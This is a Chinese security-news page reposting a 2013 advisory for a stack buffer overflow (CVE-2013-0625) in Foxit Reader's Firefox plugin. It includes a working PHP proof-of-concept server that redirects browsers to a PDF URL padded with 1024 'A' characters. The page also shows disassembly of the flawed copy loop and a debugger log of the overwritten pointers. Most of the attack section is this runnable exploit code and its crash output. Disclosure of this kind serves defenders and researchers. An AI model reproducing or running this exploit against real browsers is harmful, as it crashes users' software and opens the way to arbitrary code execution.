Welcome 微信登录
编程资源 图片资源库 蚂蚁家优选 PDF转换器

首页 / 操作系统 / Linux / Firefox Foxit Reader插件npFoxitReaderPlugin.dll栈缓冲区溢出漏洞

发布日期:2013-01-04
更新日期:2013-01-09受影响系统:
Foxit Foxit Reader <= 5.4.4.1128
描述:
--------------------------------------------------------------------------------
BUGTRAQ  ID: 57164
 CVE(CAN) ID: CVE-2013-0625
 
Foxit Reader是一款小巧的PDF阅读器。
 
Foxit Reader npFoxitReaderPlugin.dll是Firefox的插件,npFoxitReaderPlugin.dll在copy字符串时没有正确检查缓冲区边界,导致存在栈溢出漏洞 。攻击者通过诱使用户打开包含超长查询串的特制文件,可达到使应用程序崩溃,甚至执行任意代码的目的。
 
<*来源:rgod (rgod@autistici.org)
 
 链接:http://xforce.iss.net/xforce/xfdb/80988
       http://www.exploit-db.com/exploits/23944/
 *>测试方法:
--------------------------------------------------------------------------------警 告以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
<?php
 /*
 Foxit Reader <= 5.4.4.1128 Plugin for Firefox npFoxitReaderPlugin.dll Overlong
 Query String Remote Stack Buffer Overflow PoC --------------------------- rgod (listener) Tested against Microsoft Windows
 Mozilla Firefox 17.0.1
 Foxit Reader 5.4.3.0920
 Foxit Reader 5.4.4.1128 File: npFoxitReaderPlugin.dll
 Version: 2.2.1.530 Product url: http://www.foxitsoftware.com/downloads/
 Last version setup file: FoxitReader544.11281_enu_Setup.exe Usage:
 Launch from the command line, then browse port 6666 with Firefox.
 You can test it also through this url: http://192.168.0.1/x.pdf?[A x 1024] File must be existing or the server should be responding with
 the proper Content-Type header. vulnerable code, npFoxitReaderPlugin.dll: ;------------------------------------------------------------------------------
L1000162F:
       push    ebx
       push    esi
       push    edi
       mov edi,ebp
       or  ecx,FFFFFFFFh
       xor eax,eax
       xor ebx,ebx
       xor esi,esi
       repne scasb
       not ecx
       dec ecx
       test    ecx,ecx
       jle L100016E4
 L1000164A:
       mov al,[esi+ebp]
       mov word ptr [esp+18h],0000h
       cmp al,25h
       jz  L10001661
       mov ecx,[esp+1Ch]
       mov [ebx+ecx],al
       jmp L100016CE
 L10001661:
       mov al,[esi+ebp+01h]
       cmp al,30h
       jl  L1000166D
       cmp al,39h
       jle L1000167D
 L1000166D:
       cmp al,41h
       jl  L10001675
       cmp al,46h
       jle L1000167D
 L10001675:
       cmp al,61h
       jl  L100016C6
       cmp al,66h
       jg  L100016C6
 L1000167D:
       mov dl,[esi+ebp+01h]
       inc esi
       inc esi
       lea ecx,[esp+10h]
       mov [esp+18h],dl
       push    ecx
       mov al,[esi+ebp]
       lea edx,[esp+1Ch]
       push    L100450D4
       push    edx
       mov [esp+25h],al
       call    SUB_L10006421
       mov eax,[esp+1Ch]
       lea ecx,[esp+24h]
       push    eax
       push    L100450D0
       push    ecx
       call    SUB_L100063CF
       mov eax,[esp+34h]
       mov dl,[esp+30h]
       add esp,00000018h
       mov [ebx+eax],dl
       jmp L100016CE
 L100016C6:
       mov ecx,[esp+1Ch]
       mov byte ptr [ebx+ecx],25h
 L100016CE:
       inc ebx
       mov edi,ebp
       or  ecx,FFFFFFFFh
       xor eax,eax
       inc esi
       repne scasb
       not ecx
       dec ecx
       cmp esi,ecx
       jl  L1000164A
 L100016E4:
       mov edx,[esp+1Ch]
       pop edi
       pop esi
       mov eax,00000001h
       mov byte ptr [ebx+edx],00h
       pop ebx
       pop ebp
       pop ecx
       retn
 ;------------------------------------------------------------------------------ this copy loop ends up in overwriting stack pointers, then
 (by attaching to plugin-container.exe): (f48.1778): Access violation - code c0000005 (first chance)
 First chance exceptions are reported before any exception handling.
 This exception may be expected and handled.
 eax=0076ed4c ebx=00000341 ecx=002cf414 edx=002cf414 esi=41414141 edi=0076e9e8
 eip=10016852 esp=002cf3f8 ebp=75eacdf8 iopl=0       nv up ei pl nz na po nc
 cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000           efl=00010202
 npFoxitReaderPlugin!NP_GetEntryPoints+0x15672:
 10016852 8906            mov   dword ptr [esi],eax  ds:0023:41414141=????????
 ...
 Attempt to write to address 41414141
 ... also SEH pointers are overwritten
 */ error_reporting(0); set_time_limit(0); $port = 6666; $____redirect = "HTTP/1.1 301 Moved Permanently ".
               "Server: Apache ".
               "Location: /x.pdf?".str_repeat("A",1024)." ".
               "Content-Type: text/html "; $____boom   = "HTTP/1.1 200 OK ".
               "Server: Apache ".
               "Accept-Ranges: bytes ".
               "Content-Length: 60137 ".
               "Content-Type: application/pdf ".
               "Connection: keep-alive "; $socket = stream_socket_server("tcp://0.0.0.0:".$port, $errno, $errstr); if (!$socket) {
 echo "$errstr ($errno) ";
 } else {
 echo "Listening on public tcp port ".$port." ";
  while ($conn = stream_socket_accept($socket)) {
   $line=fgets($conn);
   echo $line." ";
   if (strpos($line,".pdf")){
     fwrite($conn,$____boom);
   }
   else {
     fwrite($conn,$____redirect);
   }
   fclose($conn);
 }
 fclose($socket);
 }
 ?>建议:
--------------------------------------------------------------------------------
厂商补丁:
 
Foxit
 -----
 目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
 
http://www.foxitsoft.com/wac/server_intro.phpEttercap <= 0.7.5.1栈溢出漏洞Microsoft .NET Framework系统图信息泄露漏洞(MS13-004)相关资讯      Foxit Reader  Foxit Reader安全漏洞 
  • Foxit Reader/PhantomPDF 释放后重  (04月26日)
  • Foxit Reader FoxitCloudUpdateSer  (04月15日)
  • Foxit Reader 修订号释放后重利用  (03月25日)
  • Foxit Reader/PhantomPDF 释放后重  (04月26日)
  • Ubuntu下安装PDF阅读器Foxit   (04月06日)
  • Foxit Reader GpRuntime::GpLock::  (02月03日)
本文评论 查看全部评论 (0)
表情: 姓名: 字数


评论声明
  • 尊重网上道德,遵守中华人民共和国的各项有关法律法规